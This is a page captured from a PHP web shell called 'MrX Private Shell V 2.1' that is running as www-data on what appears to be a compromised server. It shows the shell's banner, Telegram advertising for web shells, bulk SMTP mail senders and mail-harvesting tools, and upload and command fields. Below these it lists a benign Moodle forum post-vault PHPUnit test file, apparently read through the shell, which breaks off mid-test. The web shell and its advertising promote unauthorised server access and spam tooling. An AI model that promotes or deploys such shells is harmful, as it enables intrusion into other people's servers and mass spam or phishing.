__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace mod_forum;

use mod_forum_tests_generator_trait;

defined('MOODLE_INTERNAL') || die();

require_once(__DIR__ . '/generator_trait.php');

/**
 * The post vault tests.
 *
 * @package    mod_forum
 * @copyright  2019 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @coversDefaultClass \mod_forum\local\vaults\post
 */
final class vaults_post_test extends \advanced_testcase {
    // Make use of the test generator trait.
    use mod_forum_tests_generator_trait;

    /** @var \mod_forum\local\vaults\post */
    private $vault;

    /**
     * Set up function for tests.
     */
    public function setUp(): void {
        parent::setUp();
        $vaultfactory = \mod_forum\local\container::get_vault_factory();
        $this->vault = $vaultfactory->get_post_vault();
    }

    /**
     * Teardown for all tests.
     */
    public function tearDown(): void {
        unset($this->vault);
        parent::tearDown();
    }

    /**
     * Test get_from_id.
     */
    public function test_get_from_id(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion, $post] = $this->helper_post_to_forum($forum, $user);

        $postentity = $this->vault->get_from_id($post->id);

        $this->assertEquals($post->id, $postentity->get_id());
    }

    /**
     * Test get_from_discussion_id.
     *
     * @covers ::get_from_discussion_id
     */
    public function test_get_from_discussion_id(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        $post2 = $this->helper_reply_to_post($post1, $user);
        $post3 = $this->helper_reply_to_post($post1, $user);
        [$discussion2, $post4] = $this->helper_post_to_forum($forum, $user);

        $entities = array_values($this->vault->get_from_discussion_id($user, $discussion1->id, false));

        $this->assertCount(3, $entities);
        $this->assertEquals($post1->id, $entities[0]->get_id());
        $this->assertEquals($post2->id, $entities[1]->get_id());
        $this->assertEquals($post3->id, $entities[2]->get_id());

        $entities = array_values($this->vault->get_from_discussion_id($user, $discussion1->id + 1000, false));
        $this->assertCount(0, $entities);
    }

    /**
     * Ensure that selecting posts in a discussion only returns posts that the user can see, when considering private
     * replies.
     *
     * @covers ::get_from_discussion_id
     */
    public function test_get_from_discussion_id_private_replies(): void {
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course();
        $forum = $this->getDataGenerator()->create_module('forum', [
            'course' => $course->id,
        ]);

        [$student, $otherstudent] = $this->helper_create_users($course, 2, 'student');
        [$teacher, $otherteacher] = $this->helper_create_users($course, 2, 'teacher');
        [$discussion, $post] = $this->helper_post_to_forum($forum, $teacher);
        $reply = $this->helper_post_to_discussion($forum, $discussion, $teacher, [
                'privatereplyto' => $student->id,
            ]);

        // The user is the author.
        $entities = array_values($this->vault->get_from_discussion_id($teacher, $discussion->id, true));
        $this->assertCount(2, $entities);
        $this->assertEquals($post->id, $entities[0]->get_id());
        $this->assertEquals($reply->id, $entities[1]->get_id());

        // The user is the intended recipient.
        $entities = array_values($this->vault->get_from_discussion_id($student, $discussion->id, false));
        $this->assertCount(2, $entities);
        $this->assertEquals($post->id, $entities[0]->get_id());
        $this->assertEquals($reply->id, $entities[1]->get_id());

        // The user is another teacher..
        $entities = array_values($this->vault->get_from_discussion_id($otherteacher, $discussion->id, true));
        $this->assertCount(2, $entities);
        $this->assertEquals($post->id, $entities[0]->get_id());
        $this->assertEquals($reply->id, $entities[1]->get_id());

        // The user is a different student.
        $entities = array_values($this->vault->get_from_discussion_id($otherstudent, $discussion->id, false));
        $this->assertCount(1, $entities);
        $this->assertEquals($post->id, $entities[0]->get_id());
    }

    /**
     * Test get_from_discussion_ids when no discussion ids were provided.
     *
     * @covers ::get_from_discussion_ids
     */
    public function test_get_from_discussion_ids_empty(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);

        $this->assertEquals([], $this->vault->get_from_discussion_ids($user, [], false));
    }

    /**
     * Test get_from_discussion_ids.
     *
     * @covers ::get_from_discussion_ids
     */
    public function test_get_from_discussion_ids(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        $post2 = $this->helper_reply_to_post($post1, $user);
        $post3 = $this->helper_reply_to_post($post1, $user);
        [$discussion2, $post4] = $this->helper_post_to_forum($forum, $user);

        $entities = $this->vault->get_from_discussion_ids($user, [$discussion1->id], false);
        $this->assertCount(3, $entities);
        $this->assertArrayHasKey($post1->id, $entities); // Order is not guaranteed, so just verify element existence.
        $this->assertArrayHasKey($post2->id, $entities);
        $this->assertArrayHasKey($post3->id, $entities);

        $entities = $this->vault->get_from_discussion_ids($user, [$discussion1->id, $discussion2->id], false);
        $this->assertCount(4, $entities);
        $this->assertArrayHasKey($post1->id, $entities); // Order is not guaranteed, so just verify element existence.
        $this->assertArrayHasKey($post2->id, $entities);
        $this->assertArrayHasKey($post3->id, $entities);
        $this->assertArrayHasKey($post4->id, $entities);

        // Test ordering by id descending.
        $entities = $this->vault->get_from_discussion_ids($user, [$discussion1->id, $discussion2->id], false, 'id DESC');
        $this->assertEquals($post4->id, array_values($entities)[0]->get_id());
        $this->assertEquals($post3->id, array_values($entities)[1]->get_id());
        $this->assertEquals($post2->id, array_values($entities)[2]->get_id());
        $this->assertEquals($post1->id, array_values($entities)[3]->get_id());

        // Test ordering by id ascending.
        $entities = $this->vault->get_from_discussion_ids($user, [$discussion1->id, $discussion2->id], false, 'id ASC');
        $this->assertEquals($post1->id, array_values($entities)[0]->get_id());
        $this->assertEquals($post2->id, array_values($entities)[1]->get_id());
        $this->assertEquals($post3->id, array_values($entities)[2]->get_id());
        $this->assertEquals($post4->id, array_values($entities)[3]->get_id());
    }

    /**
     * Ensure that selecting posts in a discussion only returns posts that the user can see, when considering private
     * replies.
     *
     * @covers ::get_from_discussion_ids
     */
    public function test_get_from_discussion_ids_private_replies(): void {
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course();
        $forum = $this->getDataGenerator()->create_module('forum', [
            'course' => $course->id,
        ]);

        [$student, $otherstudent] = $this->helper_create_users($course, 2, 'student');
        [$teacher, $otherteacher] = $this->helper_create_users($course, 2, 'teacher');

        // Create the posts structure below.
        // Forum:
        // -> Post (student 1)
        // ---> Post private reply (teacher 1)
        // -> Otherpost (teacher 1)
        // ---> Otherpost private reply (teacher 2)
        // ---> Otherpost reply (student 1)
        // ----> Otherpost reply private reply (teacher 1).
        [$discussion, $post] = $this->helper_post_to_forum($forum, $student);
        $postprivatereply = $this->helper_reply_to_post($post, $teacher, [
            'privatereplyto' => $student->id
        ]);
        [$otherdiscussion, $otherpost] = $this->helper_post_to_forum($forum, $teacher);
        $otherpostprivatereply = $this->helper_reply_to_post($otherpost, $otherteacher, [
            'privatereplyto' => $teacher->id,
        ]);
        $otherpostreply = $this->helper_reply_to_post($otherpost, $student);
        $otherpostreplyprivatereply = $this->helper_reply_to_post($otherpostreply, $teacher, [
            'privatereplyto' => $student->id
        ]);

        // Teacher 1. Request all posts from the vault, telling the vault that the teacher CAN see private replies made by anyone.
        $entities = $this->vault->get_from_discussion_ids($teacher, [$discussion->id, $otherdiscussion->id], true);
        $this->assertCount(6, $entities);
        $this->assertArrayHasKey($post->id, $entities); // Order is not guaranteed, so just verify element existence.
        $this->assertArrayHasKey($postprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpostreply->id, $entities);
        $this->assertArrayHasKey($otherpostreplyprivatereply->id, $entities);

        // Student 1. Request all posts from the vault, telling the vault that the student CAN'T see private replies made by anyone.
        // Teacher2's private reply to otherpost is omitted.
        $entities = $this->vault->get_from_discussion_ids($student, [$discussion->id, $otherdiscussion->id], false);
        $this->assertCount(5, $entities);
        $this->assertArrayHasKey($post->id, $entities); // Order is not guaranteed, so just verify element existence.
        $this->assertArrayHasKey($postprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostreply->id, $entities);
        $this->assertArrayHasKey($otherpostreplyprivatereply->id, $entities);

        // Student 1. Request all posts from the vault, telling the vault that student CAN see all private replies made.
        // The private reply made by teacher 2 to otherpost is now included.
        $entities = $this->vault->get_from_discussion_ids($student, [$discussion->id, $otherdiscussion->id], true);
        $this->assertCount(6, $entities);
        $this->assertArrayHasKey($post->id, $entities); // Order is not guaranteed, so just verify element existence.
        $this->assertArrayHasKey($postprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpostreply->id, $entities);
        $this->assertArrayHasKey($otherpostreplyprivatereply->id, $entities);

        // Teacher 2. Request all posts from the vault, telling the vault that teacher2 CAN see all private replies made.
        $entities = $this->vault->get_from_discussion_ids($otherteacher, [$discussion->id, $otherdiscussion->id], true);
        $this->assertCount(6, $entities);
        $this->assertArrayHasKey($post->id, $entities); // Order is not guaranteed, so just verify element existence.
        $this->assertArrayHasKey($postprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpostreply->id, $entities);
        $this->assertArrayHasKey($otherpostreplyprivatereply->id, $entities);

        // Teacher 2. Request all posts from the vault, telling the vault that teacher2 CANNOT see all private replies made.
        // The private replies not relating to teacher 2 directly are omitted.
        $entities = $this->vault->get_from_discussion_ids($otherteacher, [$discussion->id, $otherdiscussion->id], false);
        $this->assertCount(4, $entities);
        $this->assertArrayHasKey($post->id, $entities); // Order is not guaranteed, so just verify element existence.
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostprivatereply->id, $entities);
        $this->assertArrayHasKey($otherpostreply->id, $entities);

        // Student 2. Request all posts from the vault, telling the vault that student2 CAN'T see all private replies made.
        // All private replies are omitted, as none relate to student2.
        $entities = $this->vault->get_from_discussion_ids($otherstudent, [$discussion->id, $otherdiscussion->id], false);
        $this->assertCount(3, $entities);
        $this->assertArrayHasKey($post->id, $entities); // Order is not guaranteed, so just verify element existence.
        $this->assertArrayHasKey($otherpost->id, $entities);
        $this->assertArrayHasKey($otherpostreply->id, $entities);
    }

    /**
     * Test get_replies_to_post.
     *
     * @covers ::get_replies_to_post
     */
    public function test_get_replies_to_post(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $forumgenerator = $datagenerator->get_plugin_generator('mod_forum');
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        // Create a post with the same created time as the parent post to ensure
        // we've covered every possible scenario.
        $post2 = $forumgenerator->create_post((object) [
            'discussion' => $post1->discussion,
            'parent' => $post1->id,
            'userid' => $user->id,
            'mailnow' => 1,
            'subject' => 'Some subject',
            'created' => $post1->created
        ]);
        $post3 = $this->helper_reply_to_post($post1, $user);
        $post4 = $this->helper_reply_to_post($post2, $user);
        [$discussion2, $post5] = $this->helper_post_to_forum($forum, $user);

        $entityfactory = \mod_forum\local\container::get_entity_factory();
        $post1 = $entityfactory->get_post_from_stdClass($post1);
        $post2 = $entityfactory->get_post_from_stdClass($post2);
        $post3 = $entityfactory->get_post_from_stdClass($post3);
        $post4 = $entityfactory->get_post_from_stdClass($post4);

        $entities = $this->vault->get_replies_to_post($user, $post1, false);
        $this->assertCount(3, $entities);
        $this->assertEquals($post2->get_id(), $entities[0]->get_id());
        $this->assertEquals($post3->get_id(), $entities[1]->get_id());
        $this->assertEquals($post4->get_id(), $entities[2]->get_id());

        $entities = $this->vault->get_replies_to_post($user, $post2, false);
        $this->assertCount(1, $entities);
        $this->assertEquals($post4->get_id(), $entities[0]->get_id());

        $entities = $this->vault->get_replies_to_post($user, $post3, false);
        $this->assertCount(0, $entities);
    }

    /**
     * Test get_replies_to_post with private replies.
     *
     * @covers ::get_replies_to_post
     */
    public function test_get_replies_to_post_private_replies(): void {
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course();
        $forum = $this->getDataGenerator()->create_module('forum', [
            'course' => $course->id,
        ]);

        // Generate a structure:
        // Initial post p [student]
        // -> Reply pa [otherstudent]
        // ---> Reply paa [student]
        // ---> Private Reply pab [teacher]
        // -> Private Reply pb [teacher]
        // -> Reply pc [otherstudent]
        // ---> Reply pca [student]
        // -----> Reply pcaa [otherstudent]
        // -------> Private Reply pcaaa [teacher].

        [$student, $otherstudent] = $this->helper_create_users($course, 2, 'student');
        [$teacher, $otherteacher] = $this->helper_create_users($course, 2, 'teacher');

        [$discussion, $p] = $this->helper_post_to_forum($forum, $student);

        $pa = $this->helper_reply_to_post($p, $otherstudent);
        $paa = $this->helper_reply_to_post($pa, $student);
        $pab = $this->helper_reply_to_post($pa, $teacher, ['privatereplyto' => $otherstudent->id]);

        $pb = $this->helper_reply_to_post($p, $teacher, ['privatereplyto' => $student->id]);

        $pc = $this->helper_reply_to_post($p, $otherteacher);
        $pca = $this->helper_reply_to_post($pc, $student);
        $pcaa = $this->helper_reply_to_post($pca, $otherstudent);
        $pcaaa = $this->helper_reply_to_post($pcaa, $teacher, ['privatereplyto' => $otherstudent->id]);

        $entityfactory = \mod_forum\local\container::get_entity_factory();
        $ep = $entityfactory->get_post_from_stdClass($p);
        $epa = $entityfactory->get_post_from_stdClass($pa);
        $epaa = $entityfactory->get_post_from_stdClass($paa);
        $epab = $entityfactory->get_post_from_stdClass($pab);
        $epb = $entityfactory->get_post_from_stdClass($pb);
        $epc = $entityfactory->get_post_from_stdClass($pc);
        $epca = $entityfactory->get_post_from_stdClass($pca);
        $epcaa = $entityfactory->get_post_from_stdClass($pcaa);
        $epcaaa = $entityfactory->get_post_from_stdClass($pcaaa);

        // As `student`, you should see all public posts, plus all private replies intended for you.
        $entities = $this->vault->get_replies_to_post($student, $ep, false);
        $this->assertCount(6, $entities);
        $this->assertEquals($epa->get_id(), $entities[0]->get_id());
        $this->assertEquals($epaa->get_id(), $entities[1]->get_id());
        $this->assertEquals($epb->get_id(), $entities[2]->get_id());
        $this->assertEquals($epc->get_id(), $entities[3]->get_id());
        $this->assertEquals($epca->get_id(), $entities[4]->get_id());
        $this->assertEquals($epcaa->get_id(), $entities[5]->get_id());

        $entities = $this->vault->get_replies_to_post($student, $epa, false);
        $this->assertCount(1, $entities);
        $this->assertEquals($epaa->get_id(), $entities[0]->get_id());

        $this->assertEmpty($this->vault->get_replies_to_post($student, $epaa, false));
        $this->assertEmpty($this->vault->get_replies_to_post($student, $epab, false));
        $this->assertEmpty($this->vault->get_replies_to_post($student, $epb, false));
        $this->assertEmpty($this->vault->get_replies_to_post($student, $epcaa, false));
        $this->assertEmpty($this->vault->get_replies_to_post($student, $epcaaa, false));

        $entities = $this->vault->get_replies_to_post($student, $epc, false);
        $this->assertCount(2, $entities);
        $this->assertEquals($epca->get_id(), $entities[0]->get_id());
        $this->assertEquals($epcaa->get_id(), $entities[1]->get_id());

        // As `otherstudent`, you should see all public posts, plus all private replies intended for you.
        $entities = $this->vault->get_replies_to_post($otherstudent, $ep, false);
        $this->assertCount(7, $entities);
        $this->assertEquals($epa->get_id(), $entities[0]->get_id());
        $this->assertEquals($epaa->get_id(), $entities[1]->get_id());
        $this->assertEquals($epab->get_id(), $entities[2]->get_id());
        $this->assertEquals($epc->get_id(), $entities[3]->get_id());
        $this->assertEquals($epca->get_id(), $entities[4]->get_id());
        $this->assertEquals($epcaa->get_id(), $entities[5]->get_id());
        $this->assertEquals($epcaaa->get_id(), $entities[6]->get_id());

        $entities = $this->vault->get_replies_to_post($otherstudent, $epa, false);
        $this->assertCount(2, $entities);
        $this->assertEquals($epaa->get_id(), $entities[0]->get_id());
        $this->assertEquals($epab->get_id(), $entities[1]->get_id());

        $this->assertEmpty($this->vault->get_replies_to_post($otherstudent, $epaa, false));
        $this->assertEmpty($this->vault->get_replies_to_post($otherstudent, $epab, false));
        $this->assertEmpty($this->vault->get_replies_to_post($otherstudent, $epb, false));
        $this->assertEmpty($this->vault->get_replies_to_post($otherstudent, $epcaaa, false));

        $entities = $this->vault->get_replies_to_post($otherstudent, $epc, false);
        $this->assertCount(3, $entities);
        $this->assertEquals($epca->get_id(), $entities[0]->get_id());
        $this->assertEquals($epcaa->get_id(), $entities[1]->get_id());
        $this->assertEquals($epcaaa->get_id(), $entities[2]->get_id());

        // The teacher who authored the private replies can see all.
        $entities = $this->vault->get_replies_to_post($teacher, $ep, true);
        $this->assertCount(8, $entities);
        $this->assertEquals($epa->get_id(), $entities[0]->get_id());
        $this->assertEquals($epaa->get_id(), $entities[1]->get_id());
        $this->assertEquals($epab->get_id(), $entities[2]->get_id());
        $this->assertEquals($epb->get_id(), $entities[3]->get_id());
        $this->assertEquals($epc->get_id(), $entities[4]->get_id());
        $this->assertEquals($epca->get_id(), $entities[5]->get_id());
        $this->assertEquals($epcaa->get_id(), $entities[6]->get_id());
        $this->assertEquals($epcaaa->get_id(), $entities[7]->get_id());

        $entities = $this->vault->get_replies_to_post($teacher, $epa, true);
        $this->assertCount(2, $entities);
        $this->assertEquals($epaa->get_id(), $entities[0]->get_id());
        $this->assertEquals($epab->get_id(), $entities[1]->get_id());

        $this->assertEmpty($this->vault->get_replies_to_post($teacher, $epaa, true));
        $this->assertEmpty($this->vault->get_replies_to_post($teacher, $epab, true));
        $this->assertEmpty($this->vault->get_replies_to_post($teacher, $epb, true));
        $this->assertEmpty($this->vault->get_replies_to_post($teacher, $epcaaa, true));

        $entities = $this->vault->get_replies_to_post($teacher, $epc, true);
        $this->assertCount(3, $entities);
        $this->assertEquals($epca->get_id(), $entities[0]->get_id());
        $this->assertEquals($epcaa->get_id(), $entities[1]->get_id());
        $this->assertEquals($epcaaa->get_id(), $entities[2]->get_id());

        // Any other teacher can also see all.
        $entities = $this->vault->get_replies_to_post($otherteacher, $ep, true);
        $this->assertCount(8, $entities);
        $this->assertEquals($epa->get_id(), $entities[0]->get_id());
        $this->assertEquals($epaa->get_id(), $entities[1]->get_id());
        $this->assertEquals($epab->get_id(), $entities[2]->get_id());
        $this->assertEquals($epb->get_id(), $entities[3]->get_id());
        $this->assertEquals($epc->get_id(), $entities[4]->get_id());
        $this->assertEquals($epca->get_id(), $entities[5]->get_id());
        $this->assertEquals($epcaa->get_id(), $entities[6]->get_id());
        $this->assertEquals($epcaaa->get_id(), $entities[7]->get_id());

        $entities = $this->vault->get_replies_to_post($otherteacher, $epa, true);
        $this->assertCount(2, $entities);
        $this->assertEquals($epaa->get_id(), $entities[0]->get_id());
        $this->assertEquals($epab->get_id(), $entities[1]->get_id());

        $this->assertEmpty($this->vault->get_replies_to_post($otherteacher, $epaa, true));
        $this->assertEmpty($this->vault->get_replies_to_post($otherteacher, $epab, true));
        $this->assertEmpty($this->vault->get_replies_to_post($otherteacher, $epb, true));
        $this->assertEmpty($this->vault->get_replies_to_post($otherteacher, $epcaaa, true));

        $entities = $this->vault->get_replies_to_post($otherteacher, $epc, true);
        $this->assertCount(3, $entities);
        $this->assertEquals($epca->get_id(), $entities[0]->get_id());
        $this->assertEquals($epcaa->get_id(), $entities[1]->get_id());
        $this->assertEquals($epcaaa->get_id(), $entities[2]->get_id());
    }

    /**
     * Test get_reply_count_for_discussion_ids when no discussion ids were provided.
     *
     * @covers ::get_reply_count_for_discussion_ids
     */
    public function test_get_reply_count_for_discussion_ids_empty(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);

        $this->assertCount(0, $this->vault->get_reply_count_for_discussion_ids($user, [], false));
    }

    /**
     * Test get_reply_count_for_discussion_ids.
     *
     * @covers ::get_reply_count_for_discussion_ids
     */
    public function test_get_reply_count_for_discussion_ids(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        $post2 = $this->helper_reply_to_post($post1, $user);
        $post3 = $this->helper_reply_to_post($post1, $user);
        $post4 = $this->helper_reply_to_post($post2, $user);
        [$discussion2, $post5] = $this->helper_post_to_forum($forum, $user);
        $post6 = $this->helper_reply_to_post($post5, $user);
        [$discussion3, $post7] = $this->helper_post_to_forum($forum, $user);

        $counts = $this->vault->get_reply_count_for_discussion_ids($user, [$discussion1->id], false);
        $this->assertCount(1, $counts);
        $this->assertEquals(3, $counts[$discussion1->id]);

        $counts = $this->vault->get_reply_count_for_discussion_ids($user, [$discussion1->id, $discussion2->id], false);
        $this->assertCount(2, $counts);
        $this->assertEquals(3, $counts[$discussion1->id]);
        $this->assertEquals(1, $counts[$discussion2->id]);

        $counts = $this->vault->get_reply_count_for_discussion_ids($user, [
            $discussion1->id,
            $discussion2->id,
            $discussion3->id
        ], false);
        $this->assertCount(2, $counts);
        $this->assertEquals(3, $counts[$discussion1->id]);
        $this->assertEquals(1, $counts[$discussion2->id]);

        $counts = $this->vault->get_reply_count_for_discussion_ids($user, [
            $discussion1->id,
            $discussion2->id,
            $discussion3->id,
            $discussion3->id + 1000
        ], false);
        $this->assertCount(2, $counts);
        $this->assertEquals(3, $counts[$discussion1->id]);
        $this->assertEquals(1, $counts[$discussion2->id]);
    }

    /**
     * Test get_reply_count_for_discussion_ids.
     *
     * @covers ::get_reply_count_for_discussion_ids
     */
    public function test_get_reply_count_for_discussion_ids_private_replies(): void {
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course();
        $forum = $this->getDataGenerator()->create_module('forum', [
            'course' => $course->id,
        ]);

        // Generate a structure:
        // Initial post p [student]
        // -> Reply pa [otherstudent]
        // ---> Reply paa [student]
        // ---> Private Reply pab [teacher]
        // -> Private Reply pb [teacher]
        // -> Reply pc [otherstudent]
        // ---> Reply pca [student]
        // -----> Reply pcaa [otherstudent]
        // -------> Private Reply pcaaa [teacher].

        [$student, $otherstudent] = $this->helper_create_users($course, 2, 'student');
        [$teacher, $otherteacher] = $this->helper_create_users($course, 2, 'teacher');

        [$discussion, $p] = $this->helper_post_to_forum($forum, $student);

        $pa = $this->helper_reply_to_post($p, $otherstudent);
        $paa = $this->helper_reply_to_post($pa, $student);
        $pab = $this->helper_reply_to_post($pa, $teacher, ['privatereplyto' => $otherstudent->id]);

        $pb = $this->helper_reply_to_post($p, $teacher, ['privatereplyto' => $student->id]);

        $pc = $this->helper_reply_to_post($p, $otherteacher);
        $pca = $this->helper_reply_to_post($pc, $student);
        $pcaa = $this->helper_reply_to_post($pca, $otherstudent);
        $pcaaa = $this->helper_reply_to_post($pcaa, $teacher, ['privatereplyto' => $otherstudent->id]);

        $this->assertEquals([$discussion->id => 6],
            $this->vault->get_reply_count_for_discussion_ids($student, [$discussion->id], false));
        $this->assertEquals([$discussion->id => 7],
            $this->vault->get_reply_count_for_discussion_ids($otherstudent, [$discussion->id], false));
        $this->assertEquals([$discussion->id => 8],
            $this->vault->get_reply_count_for_discussion_ids($teacher, [$discussion->id], true));
        $this->assertEquals([$discussion->id => 8],
            $this->vault->get_reply_count_for_discussion_ids($otherteacher, [$discussion->id], true));
    }

    /**
     * Test get_reply_count_for_discussion_id.
     *
     * @covers ::get_reply_count_for_post_id_in_discussion_id
     */
    public function test_get_reply_count_for_post_id_in_discussion_id(): void {
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        $post2 = $this->helper_reply_to_post($post1, $user);
        $post3 = $this->helper_reply_to_post($post1, $user);
        $post4 = $this->helper_reply_to_post($post2, $user);
        [$discussion2, $post5] = $this->helper_post_to_forum($forum, $user);
        $post6 = $this->helper_reply_to_post($post5, $user);
        [$discussion3, $post7] = $this->helper_post_to_forum($forum, $user);

        $this->assertEquals(3,
            $this->vault->get_reply_count_for_post_id_in_discussion_id($user, $post1->id, $discussion1->id, false));
        $this->assertEquals(1,
            $this->vault->get_reply_count_for_post_id_in_discussion_id($user, $post5->id, $discussion2->id, false));
        $this->assertEquals(0,
            $this->vault->get_reply_count_for_post_id_in_discussion_id($user, $post7->id, $discussion3->id, false));
        $this->assertEquals(0,
            $this->vault->get_reply_count_for_post_id_in_discussion_id($user, $post7->id + 1000, $discussion3->id, false));
    }

    /**
     * Test get_reply_count_for_post_id_in_discussion_id.
     *
     * @covers ::get_reply_count_for_post_id_in_discussion_id
     */
    public function test_get_reply_count_for_post_id_in_discussion_id_private_replies(): void {
        $this->resetAfterTest();

        $course = $this->getDataGenerator()->create_course();
        $forum = $this->getDataGenerator()->create_module('forum', [
            'course' => $course->id,
        ]);

        // Generate a structure:
        // Initial post p [student]
        // -> Reply pa [otherstudent]
        // ---> Reply paa [student]
        // ---> Private Reply pab [teacher]
        // -> Private Reply pb [teacher]
        // -> Reply pc [otherstudent]
        // ---> Reply pca [student]
        // -----> Reply pcaa [otherstudent]
        // -------> Private Reply pcaaa [teacher].

        [$student, $otherstudent] = $this->helper_create_users($course, 2, 'student');
        [$teacher, $otherteacher] = $this->helper_create_users($course, 2, 'teacher');

        [$discussion, $p] = $this->helper_post_to_forum($forum, $student);

        $pa = $this->helper_reply_to_post($p, $otherstudent);
        $paa = $this->helper_reply_to_post($pa, $student);
        $pab = $this->helper_reply_to_post($pa, $teacher, ['privatereplyto' => $otherstudent->id]);

        $pb = $this->helper_reply_to_post($p, $teacher, ['privatereplyto' => $student->id]);

        $pc = $this->helper_reply_to_post($p, $otherteacher);
        $pca = $this->helper_reply_to_post($pc, $student);
        $pcaa = $this->helper_reply_to_post($pca, $otherstudent);
        $pcaaa = $this->helper_reply_to_post($pcaa, $teacher, ['privatereplyto' => $otherstudent->id]);

        $this->assertEquals(6,
            $this->vault->get_reply_count_for_post_id_in_discussion_id($student, $p->id, $discussion->id, false));
        $this->assertEquals(7,
            $this->vault->get_reply_count_for_post_id_in_discussion_id($otherstudent, $p->id, $discussion->id, false));
        $this->assertEquals(8,
            $this->vault->get_reply_count_for_post_id_in_discussion_id($teacher, $p->id, $discussion->id, true));
        $this->assertEquals(8,
            $this->vault->get_reply_count_for_post_id_in_discussion_id($otherteacher, $p->id, $discussion->id, true));
    }

    /**
     * Test get_unread_count_for_discussion_ids.
     *
     * @covers ::get_unread_count_for_discussion_ids
     */
    public function test_get_unread_count_for_discussion_ids(): void {
        global $CFG;
        $this->resetAfterTest();

        $datagenerator = $this->getDataGenerator();
        $user = $datagenerator->create_user();
        $otheruser = $datagenerator->create_user();
        $course = $datagenerator->create_course();
        $forum = $datagenerator->create_module('forum', ['course' => $course->id]);
        [$discussion1, $post1] = $this->helper_post_to_forum($forum, $user);
        $post2 = $this->helper_reply_to_post($post1, $user);
        $post3 = $this->helper_reply_to_post($post1, $user);
        $post4 = $this->helper_reply_to_post($post2, $user);
        [$discussion2, $post5] = $this->helper_post_to_forum($forum, $user);
        $post6 = $this->helper_reply_to_post($post5, $user);

        $modgenerator = $this->getDataGenerator()->get_plugin_generator('mod_forum');
        $post7 = $modgenerator->create_post((object) [
            'discussion' => $post5->discussion,
            'parent' => $post5->id,
            'userid' => $user->id,
            'mailnow' => 1,
            'subject' => 'old post',
            // Two days ago which makes it an "old post".
            'modified' => time() - 172800
        ]);

        forum_tp_add_read_record($user->id, $post1->id);
        forum_tp_add_read_record($user->id, $post4->id);
        $CFG->forum_oldpostdays = 1;

        $counts = $this->vault->get_unread_count_for_discussion_ids($user, [$discussion1->id], false);
        $this->assertCount(1, $counts);
        $this->assertEquals(2, $counts[$discussion1->id]);

        $counts = $this->vault->get_unread_count_for_discussion_ids($user, [$discussion1->id, $discussion2->id], false);
        $this->assertCount(2, $counts);
        $this->assertEquals(2, $counts[$discussion1->id]);
